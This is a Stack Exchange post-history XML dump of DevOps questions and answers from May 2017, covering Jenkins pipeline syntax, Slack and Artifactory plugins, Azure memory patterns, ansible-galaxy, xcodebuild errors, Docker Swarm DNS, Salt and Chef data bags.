  <row Id="3761" PostHistoryTypeId="5" PostId="1104" RevisionGUID="a89e1937-eb4d-4fda-ad81-5301493b5abd" CreationDate="2017-05-08T16:22:10.220" UserId="62" Comment="add better code example" Text="You could try to run the artifactory file upload in parallel if you are using the Jenkinsfile syntax: https://github.com/jenkinsci/pipeline-examples/blob/master/pipeline-examples/parallel-from-list/parallelFromList.groovy&#xD;&#xA;&#xD;&#xA;Here is a simpler example to run things in parallel if you only have a fixed number of things you want to do in parallel:&#xD;&#xA;&#xD;&#xA;    parallel (&#xD;&#xA;        &quot;task1&quot; : {&#xD;&#xA;            //runTask1&#xD;&#xA;        },&#xD;&#xA;        &quot;task2&quot; : {&#xD;&#xA;            //runTask2&#xD;&#xA;        },&#xD;&#xA;        &quot;task3&quot; : {&#xD;&#xA;            //runTask3&#xD;&#xA;        },&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;This can be enclosed inside a `node`, in which case they would all share the same workspace or each command can define `node` inside the task code to run into another node in which case it would have a different workspace for each task." ContentLicense="CC BY-SA 3.0" />
  <row Id="3762" PostHistoryTypeId="2" PostId="1121" RevisionGUID="b9b5be5c-bc2b-4d05-90dc-2f87073d208c" CreationDate="2017-05-08T18:04:43.097" UserId="736" Text="This is probably 100% user error, but I can't get a pipeline job to use a variable as the channel name in a slackSend step. &#xD;&#xA;&#xD;&#xA;This uses both the [Slack plugin][1] and the [Build User Vars Plugin][2]. I'm trying to use `BUILD_USER_FIRST_NAME` to identify which channel to Slack back to (ie, the one starting the build should be the one to get the message). &#xD;&#xA;&#xD;&#xA;Got halfway there with [this article][3] on how to use the build user plugin in a pipeline job, but substituting the variable is tripping me up. &#xD;&#xA;&#xD;&#xA;The relevant part of the job looks like this;&#xD;&#xA;&#xD;&#xA;    stage ('message') {&#xD;&#xA;    &#xD;&#xA;        wrap([$class: 'BuildUser']) {&#xD;&#xA;    &#xD;&#xA;            sh 'echo ${BUILD_USER_FIRST_NAME}' //this prints fine&#xD;&#xA;    &#xD;&#xA;            if ( &quot;$output&quot; != null ) {&#xD;&#xA;                    slackSend (channel: '@${BUILD_USER_FIRST_NAME}', color: '#36A64F', message: &quot;Job worked!&quot;)&#xD;&#xA;            } else {&#xD;&#xA;                    slackSend (channel: '@${BUILD_USER_FIRST_NAME}', color: '#36A64F', message: &quot;Job failed!&quot;)&#xD;&#xA;            }&#xD;&#xA;                &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've tried the following in place of the channel bit, all have failed with indeterminate `Slack post may have failed. Response: Invalid channel specified` errors.&#xD;&#xA;&#xD;&#xA;    channel: '@${BUILD_USER_FIRST_NAME}',&#xD;&#xA;    channel: '@&quot; + ${BUILD_USER_FIRST_NAME} + &quot;',&#xD;&#xA;    channel: '@&quot;${BUILD_USER_FIRST_NAME}&quot;',&#xD;&#xA;&#xD;&#xA;What's the proper syntax?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/slack-plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Build+User+Vars+Plugin&#xD;&#xA;  [3]: https://support.cloudbees.com/hc/en-us/articles/226287607-How-to-use-Build-User-Vars-Plugin-with-Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="3763" PostHistoryTypeId="1" PostId="1121" RevisionGUID="b9b5be5c-bc2b-4d05-90dc-2f87073d208c" CreationDate="2017-05-08T18:04:43.097" UserId="736" Text="Jenkins Pipeline job; proper quoting for slackSend step" ContentLicense="CC BY-SA 3.0" />
  <row Id="3764" PostHistoryTypeId="3" PostId="1121" RevisionGUID="b9b5be5c-bc2b-4d05-90dc-2f87073d208c" CreationDate="2017-05-08T18:04:43.097" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3765" PostHistoryTypeId="5" PostId="1121" RevisionGUID="1f4a9982-53ce-4740-b95c-6bf4cca220c0" CreationDate="2017-05-08T18:10:03.940" UserId="736" Comment="added 67 characters in body" Text="This is probably 100% user error, but I can't get a pipeline job to use a variable as the channel name in a slackSend step. &#xD;&#xA;&#xD;&#xA;This uses both the [Slack plugin][1] and the [Build User Vars Plugin][2]. I'm trying to use `BUILD_USER_FIRST_NAME` to identify which channel to Slack back to (ie, the one starting the build should be the one to get the message). &#xD;&#xA;&#xD;&#xA;Got halfway there with [this article][3] on how to use the build user plugin in a pipeline job, but substituting the variable is tripping me up. &#xD;&#xA;&#xD;&#xA;The relevant part of the job looks like this;&#xD;&#xA;&#xD;&#xA;    stage ('message') {&#xD;&#xA;    &#xD;&#xA;        wrap([$class: 'BuildUser']) {&#xD;&#xA;    &#xD;&#xA;            sh 'echo ${BUILD_USER_FIRST_NAME}' //this prints fine&#xD;&#xA;    &#xD;&#xA;            if ( &quot;$output&quot; != null ) {&#xD;&#xA;                    slackSend (channel: '@${BUILD_USER_FIRST_NAME}', color: '#36A64F', message: &quot;Job worked!&quot;)&#xD;&#xA;            } else {&#xD;&#xA;                    slackSend (channel: '@${BUILD_USER_FIRST_NAME}', color: '#36A64F', message: &quot;Job failed!&quot;)&#xD;&#xA;            }&#xD;&#xA;                &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've tried the following in place of the channel bit, all have failed with indeterminate `Slack post may have failed. Response: Invalid channel specified` errors.&#xD;&#xA;&#xD;&#xA;    channel: '@${BUILD_USER_FIRST_NAME}',&#xD;&#xA;    channel: '@&quot; + ${BUILD_USER_FIRST_NAME} + &quot;',&#xD;&#xA;    channel: '@&quot;${BUILD_USER_FIRST_NAME}&quot;',&#xD;&#xA;&#xD;&#xA;Expected output is that it would resolve to `channel: '@Alex',`&#xD;&#xA;&#xD;&#xA;What's the proper syntax?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/slack-plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Build+User+Vars+Plugin&#xD;&#xA;  [3]: https://support.cloudbees.com/hc/en-us/articles/226287607-How-to-use-Build-User-Vars-Plugin-with-Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="3766" PostHistoryTypeId="5" PostId="1121" RevisionGUID="d37ca0e3-24a6-437b-bfc0-bf18430a04ca" CreationDate="2017-05-08T18:20:04.040" UserId="736" Comment="realized flaw in code, fixed" Text="This is probably 100% user error, but I can't get a pipeline job to use a variable as the channel name in a slackSend step. &#xD;&#xA;&#xD;&#xA;This uses both the [Slack plugin][1] and the [Build User Vars Plugin][2]. I'm trying to use `BUILD_USER_FIRST_NAME` to identify which channel to Slack back to (ie, the one starting the build should be the one to get the message). &#xD;&#xA;&#xD;&#xA;Got halfway there with [this article][3] on how to use the build user plugin in a pipeline job, but substituting the variable is tripping me up. &#xD;&#xA;&#xD;&#xA;The relevant part of the job looks like this;&#xD;&#xA;&#xD;&#xA;    stage ('message') {&#xD;&#xA;    &#xD;&#xA;        wrap([$class: 'BuildUser']) {&#xD;&#xA;&#xD;&#xA;            sh &quot;printf '%s' ${BUILD_USER_FIRST_NAME} &gt; name.txt&quot;&#xD;&#xA;            &#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        archiveArtifacts artifacts: 'name.txt'&#xD;&#xA;        name = readFile('name.txt')&#xD;&#xA;        echo &quot;name is $name&quot; //works fine, I get Alex&#xD;&#xA;&#xD;&#xA;        if ( &quot;$output&quot; != null ) {&#xD;&#xA;            slackSend (channel: '@$name', color: '#36A64F', message: &quot;Job succeeded&quot;)&#xD;&#xA;        } else {&#xD;&#xA;            slackSend (channel: '@$name', color: '#36A64F', message: &quot;Job failed&quot;)&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've tried the following in place of the channel bit, all have failed with indeterminate `Slack post may have failed. Response: Invalid channel specified` errors.&#xD;&#xA;&#xD;&#xA;    channel: '@${name}',&#xD;&#xA;    channel: '@&quot; + ${name} + &quot;',&#xD;&#xA;    channel: '@&quot;${name}&quot;',&#xD;&#xA;&#xD;&#xA;Expected output is that it would resolve to `channel: '@Alex',`&#xD;&#xA;&#xD;&#xA;What's the proper syntax?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/slack-plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Build+User+Vars+Plugin&#xD;&#xA;  [3]: https://support.cloudbees.com/hc/en-us/articles/226287607-How-to-use-Build-User-Vars-Plugin-with-Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="3767" PostHistoryTypeId="2" PostId="1122" RevisionGUID="198ee534-f3a3-4a40-a9fb-f8a45ef77eea" CreationDate="2017-05-09T03:11:18.963" UserId="62" Text="In Groovy you have to use double quotes to get string interpolation:&#xD;&#xA;&#xD;&#xA;        if ( &quot;$output&quot; != null ) {&#xD;&#xA;            slackSend (channel: &quot;@${name}&quot;, color: '#36A64F', message: &quot;Job succeeded&quot;)&#xD;&#xA;        } else {&#xD;&#xA;            slackSend (channel: &quot;@${name}&quot;, color: '#36A64F', message: &quot;Job failed&quot;)&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;You can also probably do something like this to avoid it entirely and have less duplication:&#xD;&#xA;&#xD;&#xA;    name = '@' + readFile('name.txt')&#xD;&#xA;&#xD;&#xA;    slackSend (channel: name //etc.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3773" PostHistoryTypeId="2" PostId="1124" RevisionGUID="89d17f4e-349c-4c3d-9ce0-3d7ccec63892" CreationDate="2017-05-09T09:34:18.583" UserId="2689" Text="I am using Jenkins Declarative Pipeline to automate my build process. We want to publish our artifacts to a remote JFrog repository only if certain conditions (Sonar,Checkmarx) pass. &#xD;&#xA;&#xD;&#xA;After a bit of research, I found that Artifactory plugin is useful for this. But I am unable to find any document on how to integrate in declarative pipeline. Below is the code snippet from Jenkinsfile&#xD;&#xA;&#xD;&#xA;    stages{&#xD;&#xA;        &#xD;&#xA;        stage('Pre-Build'){&#xD;&#xA;            steps{&#xD;&#xA;                &#xD;&#xA;                 script{&#xD;&#xA;                    def server = Artifactory.server 'LocalJfrog'&#xD;&#xA;                    def rtGradle = Artifactory.newGradleBuild()&#xD;&#xA;                    rtGradle.resolver server: server, repo: 'gradle-dev-local'&#xD;&#xA;                    rtGradle.deployer server: server, repo: 'gradle-release-local'&#xD;&#xA;                    rtGradle.useWrapper = true&#xD;&#xA;                }&#xD;&#xA;                &#xD;&#xA;            }   &#xD;&#xA;        }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;The conditional publish is not possible with above code as i cannot reuse the **server** variable even if i disable auto publish. Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="3774" PostHistoryTypeId="1" PostId="1124" RevisionGUID="89d17f4e-349c-4c3d-9ce0-3d7ccec63892" CreationDate="2017-05-09T09:34:18.583" UserId="2689" Text="Using Artifactory plugin in Jenkins declarative pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="3775" PostHistoryTypeId="3" PostId="1124" RevisionGUID="89d17f4e-349c-4c3d-9ce0-3d7ccec63892" CreationDate="2017-05-09T09:34:18.583" UserId="2689" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3776" PostHistoryTypeId="2" PostId="1125" RevisionGUID="ae89ba6c-31ca-4034-bcf4-d9a3e02bb80a" CreationDate="2017-05-09T10:33:33.777" UserId="2691" Text="I have a few VMs on Windows Azure that run our ecommerce website, and lately we started using Telegraf, InfluxDb and Grafana to keep an eye on these machines. After a couple weeks of gathering data, I have noticed a weird pattern related to the Memory *_Available_* metric:&#xD;&#xA;&#xD;&#xA;Everyday almost always at the same period of the day, I have noticed that there is an abrupt amount of memory being freed up which, due to my very very very limited DevOp skills, I cannot figure out what is causing this.&#xD;&#xA;&#xD;&#xA;Here's a chart that shows this pattern:&#xD;&#xA;&#xD;&#xA;[![Odd pattern][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/viFSv.png&#xD;&#xA;&#xD;&#xA;My question is: What could lead to something like this? I feel tempted to suspect that a Memory Leak is to blame but...Free memory never drops below 70% and only happens in two of the VMs with the most traffic!&#xD;&#xA;&#xD;&#xA;Should I be concerned when I see something like this?&#xD;&#xA;&#xD;&#xA;P.S.: I have stared gathering metrics for Private e Virtual bytes for each of the windows services we have running and for the w3wp process...although I have read that this metrics are not very reliable to find out if you have a memory leak, but at least I'll try to get some sort of trend and see if it correlates with the pattern shown above." ContentLicense="CC BY-SA 3.0" />
  <row Id="3777" PostHistoryTypeId="1" PostId="1125" RevisionGUID="ae89ba6c-31ca-4034-bcf4-d9a3e02bb80a" CreationDate="2017-05-09T10:33:33.777" UserId="2691" Text="Memory being abruptly freed up every day at about the same time" ContentLicense="CC BY-SA 3.0" />
  <row Id="3778" PostHistoryTypeId="3" PostId="1125" RevisionGUID="ae89ba6c-31ca-4034-bcf4-d9a3e02bb80a" CreationDate="2017-05-09T10:33:33.777" UserId="2691" Text="&lt;azure&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3779" PostHistoryTypeId="2" PostId="1126" RevisionGUID="97e30fcf-abc2-4888-b389-654ea4af1b5a" CreationDate="2017-05-09T12:25:20.237" UserId="210" Text="[According to this documentation][1] it is possible to remove a role from [galaxy][2], but the following fails:&#xD;&#xA;&#xD;&#xA; - `ansible-galaxy login` succeeded&#xD;&#xA; - `ansible-galaxy delete 030 https://github.com/030/ansible-firewall` resulted in:&#xD;&#xA;&#xD;&#xA;        ERROR! Galaxy user 030 does not have access to repo 030/https://github.com/030/ansible-firewall&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/galaxy.html#remove-an-installed-role&#xD;&#xA;  [2]: https://galaxy.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3780" PostHistoryTypeId="1" PostId="1126" RevisionGUID="97e30fcf-abc2-4888-b389-654ea4af1b5a" CreationDate="2017-05-09T12:25:20.237" UserId="210" Text="How to remove a non existing GitHub Ansible role from galaxy?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3781" PostHistoryTypeId="3" PostId="1126" RevisionGUID="97e30fcf-abc2-4888-b389-654ea4af1b5a" CreationDate="2017-05-09T12:25:20.237" UserId="210" Text="&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3782" PostHistoryTypeId="2" PostId="1127" RevisionGUID="793daf1e-87ad-4391-bcc5-f3ebd1429a9b" CreationDate="2017-05-09T12:39:19.243" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3783" PostHistoryTypeId="1" PostId="1127" RevisionGUID="793daf1e-87ad-4391-bcc5-f3ebd1429a9b" CreationDate="2017-05-09T12:39:19.243" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3784" PostHistoryTypeId="2" PostId="1128" RevisionGUID="ae81ccc4-e147-439f-a740-e86e718a1371" CreationDate="2017-05-09T12:39:19.243" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3785" PostHistoryTypeId="1" PostId="1128" RevisionGUID="ae81ccc4-e147-439f-a740-e86e718a1371" CreationDate="2017-05-09T12:39:19.243" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3786" PostHistoryTypeId="2" PostId="1129" RevisionGUID="254c5e4e-06c8-420c-a197-129a19f73ec2" CreationDate="2017-05-09T13:31:20.927" UserId="2688" Text="I am using Jenkins automation build for iOS.&#xD;&#xA;&#xD;&#xA;Previously I have been using xcode 8.1 with no error showing. But i have updated the xcode to 8.3 and I'm facing errors now. I have the scripts as below:&#xD;&#xA;&#xD;&#xA;OLD SCRIPT&#xD;&#xA;&#xD;&#xA;xcodebuild -exportArchive -archivePath Sample.xcarchive -exportPath Sample -exportFormat ipa -exportProvisioningProfile 'Sampledemo'&#xD;&#xA;&#xD;&#xA;xcodebuild: error: invalid option '-exportFormat'&#xD;&#xA;NEW SCRIPT&#xD;&#xA;&#xD;&#xA;xcodebuild -exportArchive -exportOptionsPlist exportOptions.plist -archivePath Sample.xcarchive -exportPath Sample  PROVISIONING_PROFILE_SPECIFIER=&quot;Sampledemo&quot;&#xD;&#xA;&#xD;&#xA;error: exportArchive: The operation couldn’t be completed. (IDEDistributionErrorDomain error 3.)&#xD;&#xA;&#xD;&#xA;Error Domain=IDEDistributionErrorDomain Code=3 &quot;(null)&quot; UserInfo={IDEDistributionErrorSigningIdentityToItemToUnderlyingErrorKey={&#xD;&#xA;&#xD;&#xA;but I'm facing this issue now. How can I solve the issue ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3787" PostHistoryTypeId="1" PostId="1129" RevisionGUID="254c5e4e-06c8-420c-a197-129a19f73ec2" CreationDate="2017-05-09T13:31:20.927" UserId="2688" Text="error: exportArchive: The operation couldn’t be completed. (IDEDistributionErrorDomain error 3.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3788" PostHistoryTypeId="3" PostId="1129" RevisionGUID="254c5e4e-06c8-420c-a197-129a19f73ec2" CreationDate="2017-05-09T13:31:20.927" UserId="2688" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3789" PostHistoryTypeId="5" PostId="1129" RevisionGUID="de25a097-fc99-4192-b7e6-1849afcc80a0" CreationDate="2017-05-09T13:42:59.857" UserId="13" Comment="Code formatting" Text="I am using Jenkins automation build for iOS.&#xD;&#xA;&#xD;&#xA;Previously I have been using xcode 8.1 with no error showing. But i have updated the xcode to 8.3 and I'm facing errors now. I have the scripts as below:&#xD;&#xA;&#xD;&#xA;OLD SCRIPT&#xD;&#xA;&#xD;&#xA;    xcodebuild -exportArchive -archivePath Sample.xcarchive -exportPath Sample -exportFormat ipa -exportProvisioningProfile 'Sampledemo'&#xD;&#xA;    &#xD;&#xA;    xcodebuild: error: invalid option '-exportFormat'&#xD;&#xA;&#xD;&#xA;NEW SCRIPT&#xD;&#xA;&#xD;&#xA;    xcodebuild -exportArchive -exportOptionsPlist exportOptions.plist -archivePath Sample.xcarchive -exportPath Sample  PROVISIONING_PROFILE_SPECIFIER=&quot;Sampledemo&quot;&#xD;&#xA;    &#xD;&#xA;    error: exportArchive: The operation couldn’t be completed. (IDEDistributionErrorDomain error 3.)&#xD;&#xA;    &#xD;&#xA;    Error Domain=IDEDistributionErrorDomain Code=3 &quot;(null)&quot; UserInfo={IDEDistributionErrorSigningIdentityToItemToUnderlyingErrorKey={&#xD;&#xA;&#xD;&#xA;but I'm facing this issue now. How can I solve the issue ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3790" PostHistoryTypeId="2" PostId="1130" RevisionGUID="f2dfcd7f-7942-4f5b-a1bf-439b6a2d1893" CreationDate="2017-05-09T13:44:12.583" UserId="2693" Text="I'm trying to understand how I would set up a Docker container (running in Swarm mode) with publicly available IPv6.&#xD;&#xA;&#xD;&#xA;I know Docker Swarm uses mesh routing, but I don't quite understand how I can dynamically assign DNS names to addresses.&#xD;&#xA;&#xD;&#xA;As an example, let's say I want to run a Git server (with HTTP 80 443 and SSH 22) on `git.example.com` and a regular web server at `example.com` (with HTTP 80 443). Both have public IPv6 addresses, but I don't want to hard-code the IPv6 address (for example at CloudFlare). After all, this is DevOps!&#xD;&#xA;&#xD;&#xA;How would I go about doing this? I assume I need to run my own DNS server for this." ContentLicense="CC BY-SA 3.0" />
  <row Id="3791" PostHistoryTypeId="1" PostId="1130" RevisionGUID="f2dfcd7f-7942-4f5b-a1bf-439b6a2d1893" CreationDate="2017-05-09T13:44:12.583" UserId="2693" Text="Assign DNS name to Docker Swarm containers with public IPv6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3792" PostHistoryTypeId="3" PostId="1130" RevisionGUID="f2dfcd7f-7942-4f5b-a1bf-439b6a2d1893" CreationDate="2017-05-09T13:44:12.583" UserId="2693" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3793" PostHistoryTypeId="5" PostId="1124" RevisionGUID="7cbbb70c-ecaa-45fe-9c13-34d6b612ba7f" CreationDate="2017-05-09T15:06:17.513" UserId="14" Comment="deleted 15 characters in body" Text="I am using Jenkins Declarative Pipeline to automate my build process. We want to publish our artifacts to a remote JFrog repository only if certain conditions (Sonar,Checkmarx) pass. &#xD;&#xA;&#xD;&#xA;After a bit of research, I found that Artifactory plugin is useful for this. But I am unable to find any document on how to integrate in declarative pipeline. Below is the code snippet from Jenkinsfile&#xD;&#xA;&#xD;&#xA;    stages{&#xD;&#xA;        &#xD;&#xA;        stage('Pre-Build'){&#xD;&#xA;            steps{&#xD;&#xA;                &#xD;&#xA;                 script{&#xD;&#xA;                    def server = Artifactory.server 'LocalJfrog'&#xD;&#xA;                    def rtGradle = Artifactory.newGradleBuild()&#xD;&#xA;                    rtGradle.resolver server: server, repo: 'gradle-dev-local'&#xD;&#xA;                    rtGradle.deployer server: server, repo: 'gradle-release-local'&#xD;&#xA;                    rtGradle.useWrapper = true&#xD;&#xA;                }&#xD;&#xA;                &#xD;&#xA;            }   &#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The conditional publish is not possible with above code as I cannot reuse the **server** variable even if I disable auto publish." ContentLicense="CC BY-SA 3.0" />
  <row Id="3794" PostHistoryTypeId="50" PostId="795" RevisionGUID="1e7ebc16-d9b5-4d45-b1c1-42069e137434" CreationDate="2017-05-09T15:06:32.033" UserId="-1" />
  <row Id="3795" PostHistoryTypeId="2" PostId="1131" RevisionGUID="7ac01813-be45-4fa8-84fc-24b4d497db01" CreationDate="2017-05-09T16:01:44.693" UserId="62" Text="If you want to embed logic in the Jenkinsfile, the declarative syntax may not be the best method as it is not always easy to reflect it in the code.&#xD;&#xA;&#xD;&#xA;If you switched to the Jenkinsfile scripted pipeline, you would be able to define and use conditions in an easier way." ContentLicense="CC BY-SA 3.0" />
  <row Id="3796" PostHistoryTypeId="2" PostId="1132" RevisionGUID="3843b044-4b86-47ef-afdf-97793ac46feb" CreationDate="2017-05-09T16:23:47.167" UserId="72" Text="I've seen this same &quot;sawtooth&quot; pattern in other systems, in particular a Java-based data tool.  Based on your description, I think you're looking at  [.NET garbage collection][1] (assuming this is a .NET app.)  Java and .NET are both memory-managed languages and frameworks that use garbage collection.&#xD;&#xA;&#xD;&#xA;A *memory leak* is typically found in frameworks that lack memory management, or in a program on a memory-managed framework that is overriding or confusing the garbage collector.&#xD;&#xA;&#xD;&#xA;The fact that these are your highest-traffic servers makes sense.  You're seeing the .NET framework allocate memory as needed, then the garbage collector kicks in on a regular cycle and reclaims unused memory using the garbage collection algorithms.  Unless you're tracking specific performance issues I don't think this memory usage pattern is a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://msdn.microsoft.com/en-us/library/ee787088(v=vs.110).aspx" ContentLicense="CC BY-SA 3.0" />
  <row Id="3797" PostHistoryTypeId="5" PostId="1125" RevisionGUID="a87724c7-244d-41ea-a06d-2e30b9e91293" CreationDate="2017-05-09T16:44:41.500" UserId="14" Comment="deleted 2 characters in body" Text="I have a few VMs on Windows Azure that run our ecommerce website, and lately we started using Telegraf, InfluxDb and Grafana to keep an eye on these machines. After a couple weeks of gathering data, I have noticed a weird pattern related to the Memory *Available* metric:&#xD;&#xA;&#xD;&#xA;Everyday almost always at the same period of the day, I have noticed that there is an abrupt amount of memory being freed up which, due to my very very very limited DevOp skills, I cannot figure out what is causing this.&#xD;&#xA;&#xD;&#xA;Here's a chart that shows this pattern:&#xD;&#xA;&#xD;&#xA;[![Odd pattern][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/viFSv.png&#xD;&#xA;&#xD;&#xA;My question is: What could lead to something like this? I feel tempted to suspect that a Memory Leak is to blame but...Free memory never drops below 70% and only happens in two of the VMs with the most traffic!&#xD;&#xA;&#xD;&#xA;Should I be concerned when I see something like this?&#xD;&#xA;&#xD;&#xA;P.S.: I have stared gathering metrics for Private e Virtual bytes for each of the windows services we have running and for the w3wp process...although I have read that this metrics are not very reliable to find out if you have a memory leak, but at least I'll try to get some sort of trend and see if it correlates with the pattern shown above." ContentLicense="CC BY-SA 3.0" />
  <row Id="3798" PostHistoryTypeId="2" PostId="1133" RevisionGUID="a23b9fba-fb0f-49d3-af23-d65581d847a6" CreationDate="2017-05-09T16:53:20.543" UserId="1046" Text="Say I have a Powershell script, named test.ps1, that has this&#xD;&#xA;&#xD;&#xA;    $VariableForPillar = 5 &#xD;&#xA;&#xD;&#xA;I can call it from a Salt state with -&#xD;&#xA;&#xD;&#xA;    test powershell run:&#xD;&#xA;     cmd.run:&#xD;&#xA;       - name: 'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe  -ExecutionPolicy ByPass -File  d:/tmp/Powershell/test.ps1'&#xD;&#xA;&#xD;&#xA;But what can I do to retrieve that value and insert it into a Pillar? (or a Mine)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3799" PostHistoryTypeId="1" PostId="1133" RevisionGUID="a23b9fba-fb0f-49d3-af23-d65581d847a6" CreationDate="2017-05-09T16:53:20.543" UserId="1046" Text="Inserting a minion Powershell variable into Salt Pillar / Mine" ContentLicense="CC BY-SA 3.0" />
  <row Id="3800" PostHistoryTypeId="3" PostId="1133" RevisionGUID="a23b9fba-fb0f-49d3-af23-d65581d847a6" CreationDate="2017-05-09T16:53:20.543" UserId="1046" Text="&lt;configuration-management&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3801" PostHistoryTypeId="5" PostId="1128" RevisionGUID="f98bb33a-abf4-4a8a-b7af-ad102f936975" CreationDate="2017-05-09T17:27:18.657" UserId="210" Comment="added 291 characters in body" Text="Ansible galaxy is a portal that contains various ansible-roles that reside on github and that could be installed locally using the ansible-galaxy command. This tag could be added to questions that are about problems that could arise when roles could not be removed or added from this portal." ContentLicense="CC BY-SA 3.0" />
  <row Id="3802" PostHistoryTypeId="24" PostId="1128" RevisionGUID="f98bb33a-abf4-4a8a-b7af-ad102f936975" CreationDate="2017-05-09T17:27:18.657" Comment="Proposed by 210 approved by 40, 228 edit id of 337" ContentLicense="CC BY-SA 3.0" />
  <row Id="3803" PostHistoryTypeId="2" PostId="1134" RevisionGUID="c2cdec86-e010-4376-8a7d-b2836d27c6ec" CreationDate="2017-05-09T18:55:21.223" UserId="2696" Text="I am very new to chef and trying to secure passwords using databags. Unfortunately, I tried in different ways but unable to succeed. I followed different tutorials [first][1] and [second][2]. I understood only two steps but later on I was unable to move forward. &#xD;&#xA;&#xD;&#xA;step1: I created secret key using open ssl&#xD;&#xA;step 2:In link1 step 2 says ` knife data bag create passwords mysql --secret-file /tmp/my_data_bag_key` but I don't know where it is creating the databag. can some one guide me from step two. I am trying to secure my database password. so I got stuck after creating secret file. Thanks in advance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/data_bags.html#encrypt-a-data-bag-item&#xD;&#xA;  [2]: https://www.devops.zone/provisioning/creating-encrypted-databag-chef/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3804" PostHistoryTypeId="1" PostId="1134" RevisionGUID="c2cdec86-e010-4376-8a7d-b2836d27c6ec" CreationDate="2017-05-09T18:55:21.223" UserId="2696" Text="Unable to create databags in chef" ContentLicense="CC BY-SA 3.0" />
  <row Id="3805" PostHistoryTypeId="3" PostId="1134" RevisionGUID="c2cdec86-e010-4376-8a7d-b2836d27c6ec" CreationDate="2017-05-09T18:55:21.223" UserId="2696" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3806" PostHistoryTypeId="5" PostId="1134" RevisionGUID="092dc263-88a4-4e50-8103-4ed5117c1005" CreationDate="2017-05-09T19:02:12.893" UserId="2696" Comment="added 2 characters in body" Text="I am very new to chef and trying to secure passwords using databags. Unfortunately, I tried in different ways but unable to succeed. I followed different tutorials [first][1] and [second][2]. I understood only two steps but later on I was unable to move forward. &#xD;&#xA;&#xD;&#xA;`step1: I created secret key using open ssl&#xD;&#xA; step 2:In link1 step 2 says knife data bag create passwords mysql --secret-file /tmp/my_data_bag_key`&#xD;&#xA; but I don't know where it is creating the databag. can some one guide me from step two. I am trying to secure my database password. so I got stuck after creating secret file. Thanks in advance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/data_bags.html#encrypt-a-data-bag-item&#xD;&#xA;  [2]: https://www.devops.zone/provisioning/creating-encrypted-databag-chef/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3807" PostHistoryTypeId="6" PostId="1090" RevisionGUID="3ba68961-19c4-4457-9bb1-41d7c9c2a6ca" CreationDate="2017-05-09T21:17:56.450" UserId="228" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;process&gt;&lt;conferences&gt;" ContentLicense="CC BY-SA 3.0" />
